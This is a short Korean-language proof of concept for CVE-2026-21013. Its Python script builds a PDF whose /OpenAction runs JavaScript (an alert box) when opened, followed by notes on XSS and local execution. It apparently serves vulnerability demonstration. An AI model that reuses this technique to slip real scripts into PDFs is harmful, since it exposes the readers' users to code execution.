
취약한 PDF 리더에서 스크립트 실행을 유발하는 OpenAction 인젝션인 CVE-2026-21013을 시연하기 위해 내장 JavaScript가 포함된 PDF를 생성합니다.
# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")
PDF 생성기는 사용자가 제공한 콘텐츠를 PDF 파일에 포함시키기 전에 별도의 검증이나 필터링을 수행하지 않습니다. 공격자는 문서가 열릴 때 실행되는 /OpenAction JavaScript 항목을 주입하여 (웹 뷰어에서) 크로스 사이트 스크립팅 또는 (JS를 완전히 지원하는 데스크톱 리더에서) 로컬 코드 실행을 유발할 수 있습니다.
생성기를 실행합니다:
python generate_pdf_js_inject.py
생성된 malicious.pdf를 JavaScript를 지원하는 PDF 리더에서 열면 경고 상자가 표시됩니다.